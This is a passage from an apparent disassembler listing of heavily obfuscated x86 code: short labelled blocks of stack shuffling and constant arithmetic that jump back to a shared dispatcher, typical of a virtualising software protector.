		mov	dh, al
		pop	ax
		sub	dh, 0DFh
		add	dh, 18h
		jmp	loc_5A21BC
; ---------------------------------------------------------------------------


loc_59A72D:				; CODE XREF: sub_57DD3A+1AA15j
		shr	ebp, 6
		sub	ebp, 3FFFA7Bh
		sub	ebx, 4D0B5159h
		add	ebx, 48D2F42h
		add	ebx, ebp
		sub	ebx, 48D2F42h
		add	ebx, 4D0B5159h
		jmp	loc_59AAF2
; ---------------------------------------------------------------------------


loc_59A755:				; CODE XREF: sub_57DD3A+13F6Cj
		add	eax, 22253469h
		add	eax, 53677D88h
		jmp	loc_59235D
; ---------------------------------------------------------------------------


loc_59A764:				; CODE XREF: sub_57DD3A+13515j
		mov	edi, [esp+52h+var_54+2]
		add	esp, 4
		jmp	loc_58EA6D
; ---------------------------------------------------------------------------


loc_59A76F:				; CODE XREF: sub_57DD3A+2511Ej
		xchg	ebp, [esp+4Eh+var_50+2]
		pop	esp
		jmp	loc_59BC2D
; ---------------------------------------------------------------------------


loc_59A778:				; CODE XREF: sub_57DD3A+1D042j
		xor	ecx, 0A4400B8h
		add	edx, ecx
		pop	ecx
		xchg	edx, [esp+46h+var_46]
		jmp	loc_59F1FE
; ---------------------------------------------------------------------------


loc_59A789:				; CODE XREF: sub_57DD3A+1BEE1j
		sub	eax, 41F83731h
		jmp	loc_5916B3
; ---------------------------------------------------------------------------


loc_59A793:				; CODE XREF: sub_57DD3A+2539Ej
		xor	eax, [esp+4+var_4]
		xor	[esp+4+var_4], eax
		xor	eax, [esp+4+var_4]
		jmp	loc_593A6E
; ---------------------------------------------------------------------------


loc_59A7A1:				; CODE XREF: sub_57DD3A+1DF05j
		sub	dword ptr [esp+4], 3DF847E4h
		push	[esp+4+var_4]
		pop	eax
		jmp	loc_5920E8
; ---------------------------------------------------------------------------
		push	[esp+4+var_4]
		pop	eax
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xor	edi, [esp+8+var_8]
		xor	[esp+8+var_8], edi
		xor	edi, [esp+8+var_8]
		jmp	loc_59E1D5
; ---------------------------------------------------------------------------


loc_59A7D0:				; CODE XREF: sub_57DD3A+1F341j
		pop	esp
		sub	esp, 4
		mov	[esp+8+var_8], edi
		push	3CCDh
		mov	[esp+0Ch+var_E+2], ebx
		jmp	loc_5999D0
; ---------------------------------------------------------------------------


loc_59A7E7:				; CODE XREF: sub_57DD3A+23084j
		sub	esi, ecx
		pop	ecx
		push	ebp
		mov	ebp, 713531E5h
		shl	ebp, 6
		jmp	loc_594019
; ---------------------------------------------------------------------------


loc_59A7F8:				; CODE XREF: sub_57DD3A+22667j
		add	esp, 4
		xor	eax, 4F335291h
		sub	esi, 5EB22F03h
		add	esi, eax
		push	edx
		mov	edx, 5EB22F03h
		add	esi, edx
		pop	edx
		pop	eax
		push	esi
		push	[esp+8+var_4]
		pop	esi
		pop	[esp+8+var_8]
		pop	esp
		push	7957h
		mov	[esp+4+var_4], ecx
		mov	ecx, 53053A75h
		push	edi
		jmp	loc_5933CA
; ---------------------------------------------------------------------------


loc_59A832:				; CODE XREF: sub_57DD3A+25179j
		add	ebx, edx
		pop	edx
		add	ebx, 2
		xor	ebx, [esp+4+var_4]
		xor	[esp+4+var_4], ebx
		xor	ebx, [esp+4+var_4]
		mov	esp, [esp+4+var_4]
		mov	cx, word ptr [esp+4+var_4]
		sub	esp, 4
		jmp	loc_5962D2
; ---------------------------------------------------------------------------


loc_59A856:				; CODE XREF: sub_57DD3A+1BEDAj
		add	ecx, 4
		xchg	ecx, [esp+12h+var_12]
		pop	esp
		push	eax
		mov	al, 0B2h
		or	al, 6Dh
		jmp	loc_590AE8
; ---------------------------------------------------------------------------


loc_59A86A:				; CODE XREF: sub_57DD3A+12300j
		push	edi
		mov	edi, 65133A83h
		sub	edi, 0FFFFFFFFh
		and	edi, 2FF729D6h
		jmp	loc_599D06
; ---------------------------------------------------------------------------


loc_59A87E:				; CODE XREF: sub_57DD3A+21F45j
		pop	esp
		mov	[esp+18h+var_1A+2], edx
		sub	esp, 4
		mov	[esp+1Ch+var_1E+2], eax
		mov	al, 93h
		inc	al
		shl	al, 2
		neg	al
		inc	al
		add	al, 0D8h
		jmp	loc_58FA47
; ---------------------------------------------------------------------------


loc_59A89D:				; CODE XREF: sub_57DD3A+19E24j
		push	ax
		pushf
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_59A8A5:				; CODE XREF: sub_57DD3A+1AC5Bj
		xor	ecx, 41AA0F7Dh
		push	edx
		mov	edx, 0CA71D640h
		xor	ecx, edx
		pop	edx
		add	eax, 2D367B4Eh
		sub	eax, ecx
		sub	eax, 2D367B4Eh
		pop	ecx
		push	[esp+32h+var_32]
		pop	esi
		jmp	loc_59DF50
; ---------------------------------------------------------------------------


loc_59A8CA:				; CODE XREF: sub_57DD3A+12E39j
		neg	edx
		jmp	loc_5998EB
; ---------------------------------------------------------------------------


loc_59A8D1:				; CODE XREF: sub_57DD3A+116DDj
		add	edi, ecx
		sub	edi, 132002E2h
		jmp	loc_58FF33
; ---------------------------------------------------------------------------


loc_59A8DE:				; CODE XREF: sub_57DD3A+16D98j
		push	ebx
		jmp	loc_597164
; ---------------------------------------------------------------------------


loc_59A8E4:				; CODE XREF: sub_57DD3A+1D476j
		add	edx, ebp
		sub	edx, 29F077F6h
		jmp	loc_59F2A0
; ---------------------------------------------------------------------------


loc_59A8F1:				; CODE XREF: sub_57DD3A+1A5A5j
		add	[esp+1Eh+var_1A], ebp
		pop	ebp
		mov	esi, [esp+1Ah+var_1A]
		add	esp, 4
		sub	esp, 4
		mov	[esp+1Ah+var_1A], ebp
		push	ebx
		push	edx
		mov	edx, 3F502C6h
		jmp	loc_58F12A
; ---------------------------------------------------------------------------


loc_59A911:				; CODE XREF: sub_57DD3A+110A5j
		pop	esp
		jmp	loc_5A2E49
; ---------------------------------------------------------------------------
		push	[esp+1Ah+var_1A]
		push	[esp+1Eh+var_1E]
		pop	edx
		jmp	loc_594DDF
; ---------------------------------------------------------------------------


loc_59A923:				; CODE XREF: sub_57DD3A+20929j
		mov	eax, [esp+1Eh+var_1E]
		add	esp, 4
		jmp	loc_59BEDA
; ---------------------------------------------------------------------------


loc_59A931:				; CODE XREF: sub_57DD3A+1246Ej
		xor	dh, ah
		mov	eax, [esp+42h+var_42]
		add	esp, 4
		xor	al, dh
		pop	edx
		jmp	loc_58FAD7
; ---------------------------------------------------------------------------


loc_59A944:				; CODE XREF: sub_57DD3A+249ABj
		pop	ebp
		sub	eax, 0FFFFFFFFh
		push	ebp
		mov	ebp, 41607E41h
		jmp	loc_594592
; ---------------------------------------------------------------------------


loc_59A953:				; CODE XREF: sub_57DD3A+19C02j
		mov	edx, esp
		jmp	loc_59AB43
; ---------------------------------------------------------------------------


loc_59A95A:				; CODE XREF: sub_57DD3A+24CB0j
		xor	ebx, [esp+80h+var_80]
		xor	[esp+80h+var_80], ebx
		xor	ebx, [esp+80h+var_80]
		mov	esp, [esp+80h+var_80]
		mov	[esp+80h+var_80], ebp
		push	1C9Fh
		mov	[esp+84h+var_84], ebx
		jmp	loc_5953CE
; ---------------------------------------------------------------------------


loc_59A976:				; CODE XREF: sub_57DD3A+1C188j
		pop	ebp
		add	ebp, eax
		mov	eax, [esp+20h+var_22+2]
		add	esp, 4
		mov	edx, ebp
		pop	ebp


loc_59A982:				; CODE XREF: sub_57DD3A+1D50Fj
					; sub_57DD3A+20DF3j
		push	dword ptr [edi+24h]
		push	[esp+1Ch+var_1E+2]
		push	[esp+20h+var_22+2]
		jmp	loc_59287B
; ---------------------------------------------------------------------------


loc_59A990:				; CODE XREF: sub_57DD3A+19A2Dj
		pop	edx
		movzx	eax, al
		pop	dword ptr [edi+eax*4]
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_59A99C:				; CODE XREF: sub_57DD3A+14080j
		shr	ah, 7
		xor	ah, 6Eh
		jmp	loc_592816
; ---------------------------------------------------------------------------


loc_59A9A7:				; CODE XREF: sub_57DD3A+22A75j
		sub	ebx, eax
		sub	ebx, 40E73D33h
		push	ecx
		push	edx
		mov	edx, 15514A6Bh
		push	esi
		mov	esi, 49E9293Eh
		or	edx, esi
		jmp	loc_5945D3
; ---------------------------------------------------------------------------


loc_59A9C3:				; CODE XREF: sub_57DD3A+23202j
		sub	ebx, 383C1B69h
		add	ebx, 4F41220Dh
		add	ebx, 1953271Dh
		add	ebx, 486F476Fh
		mov	[ebx], edx
		pop	ebx
		mov	eax, [esp+1Eh+var_1E]
		add	esp, 4
		jmp	loc_598AFF
; ---------------------------------------------------------------------------


loc_59A9EC:				; CODE XREF: sub_57DD3A+253ABj
		push	esp
		pop	edx
		jmp	loc_58FDB9
; ---------------------------------------------------------------------------


loc_59A9F3:				; CODE XREF: sub_57DD3A+24D2Cj
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_59A9F8:				; CODE XREF: sub_57DD3A+10AD7j
		xor	esi, [esp+18h+var_1A+2]
		pop	esp
		jmp	loc_59DFCF
; ---------------------------------------------------------------------------


loc_59AA01:				; CODE XREF: sub_57DD3A+13A5Cj
		mov	edi, 4
		add	edx, 46E7575Bh
		add	edx, 0B450D70h
		add	edx, edi
		sub	edx, 0B450D70h
		sub	edx, 46E7575Bh
		pop	edi
		push	6E78h
		mov	[esp+5Ch+var_5C], ecx
		push	6D9Ch
		mov	[esp+60h+var_60], ebx
		mov	ebx, 64F348B9h
		inc	ebx
		or	ebx, 4A08473Fh
		add	ebx, 0C6E7E890h
		mov	ecx, ebx
		pop	ebx
		neg	ecx
		shl	ecx, 5
		push	esi
		jmp	loc_591432
; ---------------------------------------------------------------------------


loc_59AA51:				; CODE XREF: sub_57DD3A+1545Aj
		mov	[esp+8+var_8], esi
		jmp	loc_5A123B
; ---------------------------------------------------------------------------


loc_59AA59:				; CODE XREF: sub_57DD3A+1ECD4j
		sub	eax, 0CCFF630h
		mov	edx, eax
		jmp	loc_598968
; ---------------------------------------------------------------------------


loc_59AA65:				; CODE XREF: sub_57DD3A+2344Bj
		mov	edi, [esp+8+var_8]
		jmp	loc_594E7C
; ---------------------------------------------------------------------------


loc_59AA6D:				; CODE XREF: sub_57DD3A+12886j
		pop	ecx
		add	esp, 4
		push	ebx
		jmp	loc_5A2066
; ---------------------------------------------------------------------------


loc_59AA77:				; CODE XREF: sub_57DD3A+14699j
		pop	ecx
		jmp	loc_5983AA
; ---------------------------------------------------------------------------


loc_59AA7D:				; CODE XREF: sub_57DD3A+14C6Cj
		mov	bx, word ptr [esp+1Ah+var_1A]
		add	esp, 2
		push	3469h
		mov	[esp+1Ah+var_1A], edx
		mov	dx, 7998h
		push	dx
		not	word ptr [esp+1Ch+var_1E+2]
		jmp	loc_58F10F
; ---------------------------------------------------------------------------


loc_59AA9E:				; CODE XREF: sub_57DD3A+1C0B5j
		pop	esi
		add	edi, ecx
		add	edi, 41F14F36h
		pop	ecx
		add	edi, 4
		jmp	loc_5A00D7
; ---------------------------------------------------------------------------


loc_59AAB0:				; CODE XREF: sub_57DD3A+1816Fj
		mov	edx, 66E357B8h
		shl	edx, 8
		jmp	loc_597D9D
; ---------------------------------------------------------------------------


loc_59AABD:				; CODE XREF: sub_57DD3A+11A40j
		pop	eax
		shl	edx, 2
		sub	edx, 0FBAE1AFh
		add	eax, edx
		pop	edx
		jmp	loc_5A1743
; ---------------------------------------------------------------------------


loc_59AACF:				; CODE XREF: sub_57DD3A+1A2C6j
		dec	[esp+70h+var_70]
		pop	edx
		push	ebp
		push	0DF01F21h
		pop	ebp
		jmp	loc_58E9B3
; ---------------------------------------------------------------------------


loc_59AADF:				; CODE XREF: sub_57DD3A+12320j
		sub	ebx, eax
		jmp	loc_59AFA0
; ---------------------------------------------------------------------------


loc_59AAE6:				; CODE XREF: sub_57DD3A+1C157j
		mov	esi, 4
		add	edi, esi
		jmp	loc_59A117
; ---------------------------------------------------------------------------


loc_59AAF2:				; CODE XREF: sub_57DD3A+1CA16j
		mov	ebp, [esp+58h+var_58]
		jmp	loc_59C228
; ---------------------------------------------------------------------------


loc_59AAFA:				; CODE XREF: sub_57DD3A+16C92j
		mov	[esp+40h+var_42+2], ebx
		mov	ebx, 21FA2330h
		mov	esi, 1720F4EFh
		jmp	loc_5901AD
; ---------------------------------------------------------------------------


loc_59AB0C:				; CODE XREF: sub_57DD3A+225C8j
		pop	ebx
		shl	ecx, 6
		xor	ecx, eax
		xor	eax, ecx
		xor	ecx, eax
		xor	eax, ecx
		xor	ecx, eax
		jmp	loc_5A2FF7
; ---------------------------------------------------------------------------


loc_59AB1F:				; CODE XREF: sub_57DD3A+1E13Fj
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_5A06AE
; ---------------------------------------------------------------------------


loc_59AB32:				; CODE XREF: sub_57DD3A+21209j
		add	ebx, 4
		push	ebx
		push	[esp+40h+var_3E+2]
		push	[esp+44h+var_46+2]
		pop	ebx
		jmp	loc_5A2BE2
; ---------------------------------------------------------------------------


loc_59AB43:				; CODE XREF: sub_57DD3A+1CC1Bj
		add	edx, 4
		sub	edx, 4
		jmp	loc_59FD97
; ---------------------------------------------------------------------------


loc_59AB51:				; CODE XREF: sub_57DD3A+1EEEAj
		mov	[esp+80h+var_80], edi
		push	[esp+80h+var_80]
		pop	eax
		push	esi
		push	esp
		pop	esi
		jmp	loc_590AFF
; ---------------------------------------------------------------------------


loc_59AB60:				; CODE XREF: sub_57DD3A+19B6Fj
		sub	edx, 6B25776Dh
		add	edx, eax
		add	edx, 6B25776Dh
		pop	eax
		add	edx, 4
		xchg	edx, [esp+10h+var_12+2]
		pop	esp
		add	ebx, 2
		push	30B8h
		mov	[esp+10h+var_12+2], ebx
		push	[esp+10h+var_E+2]
		push	[esp+14h+var_16+2]
		pop	ebx
		add	esp, 4
		pop	[esp+10h+var_12+2]
		mov	esp, [esp+0Ch+var_E+2]
		rol	byte ptr [esp+0Ch+var_E+2], cl
		pushf
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_59AB9B:				; CODE XREF: sub_57DD3A+13A82j
		add	edx, 128B172Ch
		add	edx, eax
		push	16AFh
		jmp	loc_5A2F5C
; ---------------------------------------------------------------------------


loc_59ABAD:				; CODE XREF: sub_57DD3A+15E3Ej
		push	ecx
		mov	ecx, 28F1170Eh
		push	ebp
		jmp	loc_59798D
; ---------------------------------------------------------------------------


loc_59ABB9:				; CODE XREF: sub_57DD3A+15D2Fj
		xor	edx, [esp+20h+var_22+2]
		xor	[esp+20h+var_22+2], edx
		xor	edx, [esp+20h+var_22+2]
		pop	esp
		mov	[esp+1Ch+var_1E+2], ecx
		mov	ecx, 14F36A82h
		add	ecx, 3F2BF8FDh
		xor	edi, ecx
		mov	ecx, [esp+1Ch+var_1E+2]
		jmp	loc_59F6D6
; ---------------------------------------------------------------------------


loc_59ABDB:				; CODE XREF: sub_57DD3A+2163Fj
		xor	edi, 36AF26F8h
		push	[esp+1Ch+var_1E+2]
		pop	edx
		add	esp, 4
		sub	eax, 1C2E6EECh
		sub	eax, edi
		add	eax, 1C2E6EECh
		jmp	loc_598859
; ---------------------------------------------------------------------------


loc_59ABF9:				; DATA XREF: sub_57DD3A+10352o
		mov	ax, word ptr [esp+18h+var_1A+2]
		sub	esp, 4
		jmp	loc_59D5F9
; ---------------------------------------------------------------------------


loc_59AC05:				; CODE XREF: sub_57DD3A+173AFj
		neg	ebx
		push	edi
		jmp	loc_593EDF
; ---------------------------------------------------------------------------


loc_59AC0D:				; CODE XREF: sub_57DD3A+18FE5j
		pop	ebx
		sub	esp, 4
		jmp	loc_599718
; ---------------------------------------------------------------------------


loc_59AC19:				; CODE XREF: sub_57DD3A+141BBj
		mov	dh, 0E1h
		mov	bh, 0D5h
		sub	bh, dh
		pop	edx
		jmp	loc_59914C
; ---------------------------------------------------------------------------


loc_59AC25:				; CODE XREF: sub_57DD3A+125E1j
		pop	ecx
		jmp	loc_5926FC
; ---------------------------------------------------------------------------


loc_59AC2B:				; CODE XREF: sub_57DD3A+125A2j
		add	esp, 4
		jmp	loc_5A0E7A
; ---------------------------------------------------------------------------


loc_59AC33:				; CODE XREF: sub_57DD3A+1478Dj
		shr	cl, 4
		add	cl, 55h
		add	dh, cl
		jmp	loc_59D6DD
; ---------------------------------------------------------------------------


loc_59AC40:				; CODE XREF: sub_57DD3A+20055j
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_58E393
; ---------------------------------------------------------------------------


loc_59AC4D:				; CODE XREF: sub_57DD3A+14754j
		and	dl, 44h
		push	ax
		mov	al, 0C0h
		jmp	loc_58EBAD
; ---------------------------------------------------------------------------


loc_59AC59:				; CODE XREF: sub_57DD3A+226AFj
		sub	ebx, 5CE7066Fh
		jmp	loc_59FD3D
; ---------------------------------------------------------------------------


loc_59AC64:				; CODE XREF: sub_57DD3A+1F681j
		shr	ebx, 6
		inc	ebx
		shl	ebx, 6
		xor	ebx, 2F6606F0h
		add	ecx, ebx
		mov	ebx, [esp+8+var_8]
		jmp	loc_5A1090
; ---------------------------------------------------------------------------


loc_59AC7B:				; CODE XREF: sub_57DD3A+13088j
		push	[esp+54h+var_54]
		jmp	loc_598151
; ---------------------------------------------------------------------------


loc_59AC83:				; CODE XREF: sub_57DD3A+11D7Cj
		neg	eax
		not	eax
		jmp	loc_59FBD7
; ---------------------------------------------------------------------------


loc_59AC8C:				; CODE XREF: sub_57DD3A+23008j
		pop	edi
		add	ebp, 3674652Ah
		add	ebp, esi
		jmp	loc_595116
; ---------------------------------------------------------------------------
		push	[esp+24h+var_26+2]
		push	[esp+28h+var_2A+2]
		jmp	loc_59F498
; ---------------------------------------------------------------------------


loc_59ACA5:				; CODE XREF: sub_57DD3A+133ADj
		pop	esp
		mov	edx, [esp+0Ch+var_E+2]
		add	esp, 4
		add	edx, 4
		push	361Ah
		mov	[esp+0Ch+var_E+2], edi
		mov	edi, 49226421h
		push	ebp
		mov	ebp, 4922641Dh
		sub	edi, ebp
		pop	ebp
		add	edx, edi
		pop	edi
		jmp	loc_5995B6
; ---------------------------------------------------------------------------


loc_59ACD0:				; CODE XREF: sub_57DD3A+18B81j
		mov	esp, [esp+50h+var_50]
		xor	[esp+50h+var_50], eax
		pushf
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_59ACDC:				; CODE XREF: sub_57DD3A+204E3j
		push	[esp+54h+var_50]
		jmp	loc_5984DB
; ---------------------------------------------------------------------------


loc_59ACE5:				; CODE XREF: sub_57DD3A+24DE2j
		pop	esi
		push	[esp+54h+var_54]
		mov	ebx, [esp+58h+var_58]
		add	esp, 4
		add	esp, 4
		push	ecx
		jmp	loc_59CE6B
; ---------------------------------------------------------------------------


loc_59ACF8:				; CODE XREF: sub_57DD3A+1F44Aj
		mov	ebp, esi
		mov	esi, [esp+54h+var_54]
		add	esp, 4
		push	edi
		push	ecx
		mov	ecx, ebp
		mov	edi, ecx
		jmp	loc_59DEC3
; ---------------------------------------------------------------------------


loc_59AD0E:				; CODE XREF: sub_57DD3A+1ABB5j
		mov	dl, al
		jmp	loc_594B05
; ---------------------------------------------------------------------------


loc_59AD15:				; CODE XREF: sub_57DD3A+18A29j
		and	ebx, 72F2408Bh
		push	edx
		mov	edx, 74404B12h
		sub	ebx, edx
		pop	edx
		add	ebp, ebx
		pop	ebx
		add	edx, ebp
		push	[esp+3Ah+var_3A]
		pop	ebp
		add	esp, 4
		jmp	loc_598C52
; ---------------------------------------------------------------------------


loc_59AD35:				; CODE XREF: sub_57DD3A+24A1Bj
		sub	esp, 4
		mov	[esp+3Ah+var_3A], edi
		mov	edi, 0FFFFFFFFh
		jmp	loc_596C38
; ---------------------------------------------------------------------------


loc_59AD48:				; CODE XREF: sub_57DD3A+1DA29j
		pop	esp
		pop	[esp+36h+var_36]
		mov	esp, [esp+32h+var_32]
		div	cl
		jmp	loc_5A04DB
; ---------------------------------------------------------------------------


loc_59AD56:				; CODE XREF: sub_57DD3A+1AA5Dj
		pop	esp
		add	esp, 4
		push	55D6h
		mov	[esp+46h+var_46], ebp
		push	esp
		jmp	loc_58E816
; ---------------------------------------------------------------------------


loc_59AD6B:				; CODE XREF: sub_57DD3A+19F4Ej
		mov	ecx, 5CC2175Dh
		sub	ecx, 4DD367A0h
		and	ecx, 3A5510FEh
		jmp	loc_59A778
; ---------------------------------------------------------------------------


loc_59AD81:				; CODE XREF: sub_57DD3A+23F6Fj
		add	ecx, 4
		add	ecx, 4
		jmp	loc_597258
; ---------------------------------------------------------------------------


loc_59AD92:				; CODE XREF: sub_57DD3A+219D2j
		add	edx, 4
		xchg	edx, [esp+5Eh+var_60+2]
		jmp	loc_58FEDF
; ---------------------------------------------------------------------------


loc_59ADA0:				; CODE XREF: sub_57DD3A+1B311j
		add	esi, ebx
		pop	ebx
		xchg	esi, [esp+20h+var_22+2]
		pop	esp
		shr	edi, 6
		push	ebp
		mov	ebp, 315E09CFh
		or	edi, ebp
		jmp	loc_59520F
; ---------------------------------------------------------------------------


loc_59ADB7:				; CODE XREF: sub_57DD3A+1C3C9j
		mov	eax, [esp-14h+arg_E+2]
		add	esp, 4
		sub	ebx, eax
		push	edi
		jmp	loc_594234
; ---------------------------------------------------------------------------


loc_59ADC5:				; CODE XREF: sub_57DD3A+14E24j
		pop	ecx
		jmp	loc_59D8AA
; ---------------------------------------------------------------------------


loc_59ADCB:				; CODE XREF: sub_57DD3A+14F9Aj
		add	edi, 0C86546Ah
		pop	eax
		add	edi, 69C46145h
		sub	edi, ebx
		sub	edi, 69C46145h
		jmp	loc_59F464
; ---------------------------------------------------------------------------


loc_59ADE5:				; CODE XREF: sub_57DD3A+19B79j
		add	ebp, 10B579BBh
		sub	ebp, 0ECC52232h
		jmp	loc_598A94
; ---------------------------------------------------------------------------


loc_59ADF6:				; CODE XREF: sub_57DD3A+12116j
		xchg	edx, [esp+80h+var_80]
		pop	esp
		push	46C0h
		mov	[esp+80h+var_80], ebp
		mov	ebp, 596B1645h
		xor	ebp, 596B1641h
		add	edx, ebp
		pop	ebp
		push	0DEAh
		mov	[esp+80h+var_80], eax
		mov	eax, 34F26719h
		shl	eax, 8
		push	0EACh
		mov	[esp+84h+var_84], edx
		jmp	loc_591247
; ---------------------------------------------------------------------------


loc_59AE2D:				; CODE XREF: sub_57DD3A+24401j
		xor	edi, ebx
		pop	ebx
		push	383Bh
		jmp	loc_595BE9
; ---------------------------------------------------------------------------


loc_59AE3A:				; CODE XREF: sub_57DD3A+143EBj
		add	eax, 76FF0F83h
		add	ebx, eax
		pop	eax
		xchg	ebx, [esp+1Ah+var_1A]
		mov	esp, [esp+1Ah+var_1A]
		jmp	loc_594FAB
; ---------------------------------------------------------------------------


loc_59AE4D:				; CODE XREF: sub_57DD3A+11262j
		mov	eax, 149E1FECh
		inc	eax
		xchg	eax, esi
		jmp	loc_59A28C
; ---------------------------------------------------------------------------


loc_59AE59:				; CODE XREF: sub_57DD3A+1409Aj
		mov	esp, [esp+16h+var_16]
		xor	ebx, eax
		push	5C52h
		mov	[esp+1Ah+var_1A], eax
		mov	eax, 121B5DEAh
		add	edx, eax
		pop	eax
		jmp	loc_59081B
; ---------------------------------------------------------------------------


loc_59AE73:				; CODE XREF: sub_57DD3A+14E51j
		or	ebx, ebp
		pop	ebp
		jmp	loc_596536
; ---------------------------------------------------------------------------


loc_59AE7B:				; CODE XREF: sub_57DD3A+13273j
		sub	eax, ebx
		add	eax, 4C7C2BD3h
		push	ebp
		jmp	loc_59CA37
; ---------------------------------------------------------------------------


loc_59AE88:				; CODE XREF: sub_57DD3A+19E4Ej
		add	esp, 4
		add	eax, ecx
		pop	ecx
		add	eax, 12EC66D9h
		sub	esp, 4
		mov	[esp+54h+var_54], ecx
		mov	ecx, 5C64623Fh
		xor	ecx, 5D866B39h
		add	eax, ecx
		pop	ecx
		pop	ecx
		push	502Eh
		mov	[esp+50h+var_50], esi
		mov	esi, 247C30EDh
		sub	esp, 4
		mov	[esp+54h+var_54], edi
		jmp	loc_59E9B5
; ---------------------------------------------------------------------------


loc_59AEC0:				; CODE XREF: sub_57DD3A+19EDAj
		sub	eax, 437FFFFBh
		push	3E01h
		mov	[esp+46h+var_46], esi
		mov	esi, 6A0B36A1h
		sub	ecx, esi
		mov	esi, [esp+46h+var_46]
		add	esp, 4
		jmp	loc_595F11
; ---------------------------------------------------------------------------


loc_59AEDF:				; CODE XREF: sub_57DD3A+223F4j
		xor	edx, 56B0E37h
		mov	eax, edx
		pop	edx
		add	eax, 2812055Dh
		sub	eax, 5AE0F84Bh
		jmp	loc_593541
; ---------------------------------------------------------------------------


loc_59AEF7:				; CODE XREF: sub_57DD3A+11C79j
		sub	ecx, ebx
		jmp	loc_59A697
; ---------------------------------------------------------------------------


loc_59AEFE:				; CODE XREF: sub_57DD3A+1B305j
		xor	ch, al
		pop	eax
		add	al, ch
		pop	ecx
		push	edx
		mov	dl, 0C6h
		add	dl, 26h
		or	dl, 0E8h
		xor	dl, 1Eh
		add	al, dl
		pop	edx
		jmp	loc_590400
; ---------------------------------------------------------------------------


loc_59AF18:				; CODE XREF: sub_57DD3A+134C8j
		push	esp
		pop	eax
		jmp	loc_590EC4
; ---------------------------------------------------------------------------


loc_59AF1F:				; CODE XREF: sub_57DD3A+1F7ACj
		mov	[esp+4Ch+var_4C], ebx
		mov	ebx, 3D1A35E1h
		mov	edx, 3D1A35E5h
		push	ebp
		mov	ebp, 310A64D2h
		add	edx, ebp
		pop	ebp
		sub	edx, ebx
		push	eax
		mov	eax, 310A64D2h
		sub	edx, 67842B08h
		sub	edx, eax
		add	edx, 67842B08h
		pop	eax
		mov	ebx, [esp+4Ch+var_4C]
		add	esp, 4
		add	ecx, 2F6665Fh
		add	ecx, edx
		sub	ecx, 2F6665Fh
		mov	edx, [esp+0]
		jmp	loc_597830
; ---------------------------------------------------------------------------


loc_59AF68:				; CODE XREF: sub_57DD3A+1AE2Ej
		add	esi, 4
		sub	esp, 4
		mov	[esp+42h+var_42], ecx
		jmp	loc_59198F
; ---------------------------------------------------------------------------


loc_59AF7C:				; CODE XREF: sub_57DD3A+20F21j
		mov	[esp+42h+var_42], edx
		jmp	loc_59A335
; ---------------------------------------------------------------------------


loc_59AF84:				; CODE XREF: sub_57DD3A+20510j
		add	edi, ecx
		jmp	loc_5928F7
; ---------------------------------------------------------------------------


loc_59AF8B:				; CODE XREF: sub_57DD3A+21B7Aj
		mov	eax, 39B50B73h
		jmp	loc_5919ED
; ---------------------------------------------------------------------------


loc_59AF95:				; CODE XREF: sub_57DD3A+1EFB8j
		sub	edi, 239AD4B4h
		jmp	loc_59DD8B
; ---------------------------------------------------------------------------


loc_59AFA0:				; CODE XREF: sub_57DD3A+1CDA7j
		pop	eax
		not	ebx
		and	ebx, 41D14B0Fh
		sub	ebx, 7099780Dh
		add	ebx, 4A7C94D7h
		mov	ecx, ebx
		mov	ebx, [esp+18h+var_1A+2]
		add	esp, 4
		sub	ecx, 0D9F2B9Ch
		xor	ecx, 0D9B0254Dh
		add	edx, ecx
		jmp	loc_58F426
; ---------------------------------------------------------------------------


loc_59AFD3:				; CODE XREF: sub_57DD3A+244D9j
		pop	eax
		jmp	loc_596F4E
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		adc	word ptr [esp+0Eh+var_E], ax
		pushf
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_59AFE9:				; CODE XREF: sub_57DD3A+1E56Dj
		sub	esi, 2CFA6C38h
		jmp	loc_59BEE7
; ---------------------------------------------------------------------------


loc_59AFF4:				; CODE XREF: sub_57DD3A+1F5E4j
		sub	ebp, eax
		pop	eax
		jmp	loc_59B86E
; ---------------------------------------------------------------------------


loc_59AFFC:				; CODE XREF: sub_57DD3A+16A55j
		pop	ecx
		add	ecx, 76FE5D2Ch
		pop	edx
		shl	ecx, 8
		sub	ecx, 6F1F4C33h
		shr	ecx, 1
		shr	ecx, 7
		xor	ecx, 6C3CADh
		mov	edx, ecx
		pop	ecx
		sub	ebx, 65274136h
		jmp	loc_59F568
; ---------------------------------------------------------------------------


loc_59B026:				; DATA XREF: sub_57DD3A+10342o
		push	dword ptr [edi+3Ch]
		xor	[esp+54h+var_54], 31073719h
		push	[esp+54h+var_54]
		jmp	loc_59C570
; ---------------------------------------------------------------------------


loc_59B038:				; CODE XREF: sub_57DD3A+1C611j
		add	esp, 4
		jmp	loc_5A1A83
; ---------------------------------------------------------------------------


loc_59B040:				; CODE XREF: sub_57DD3A+21A14j
		pop	ecx
		push	5DC8h
		mov	[esp+12h+var_12], ecx
		jmp	loc_5A2253
; ---------------------------------------------------------------------------


loc_59B04E:				; CODE XREF: sub_57DD3A+1D853j
		push	265h
		mov	[esp+16h+var_16], ebp
		mov	ebp, 34D57105h
		and	ecx, ebp
		jmp	loc_593167
; ---------------------------------------------------------------------------


loc_59B062:				; CODE XREF: sub_57DD3A+1B092j
		mov	[esp+78h+var_78], esi
		mov	edx, [esp+78h+var_78]
		add	esp, 4
		jmp	loc_59BBA8
; ---------------------------------------------------------------------------
		lodsd
		push	ebx
		sub	esp, 4
		mov	[esp+7Ch+var_7C], edx
		mov	edx, 340375DEh
		jmp	loc_591702
; ---------------------------------------------------------------------------


loc_59B082:				; CODE XREF: sub_57DD3A+16F95j
		push	esi
		jmp	loc_590BC1
; ---------------------------------------------------------------------------


loc_59B088:				; CODE XREF: sub_57DD3A+13482j
		add	esp, 4
		add	[esp+16h+var_12], edi
		pop	edi
		pop	edx
		push	ecx
		mov	ecx, 78475AECh
		not	ecx
		inc	ecx
		shl	ecx, 2
		jmp	loc_592C87
; ---------------------------------------------------------------------------


loc_59B0A2:				; CODE XREF: sub_57DD3A+11BF9j
		pop	eax
		jmp	loc_592B2F
; ---------------------------------------------------------------------------


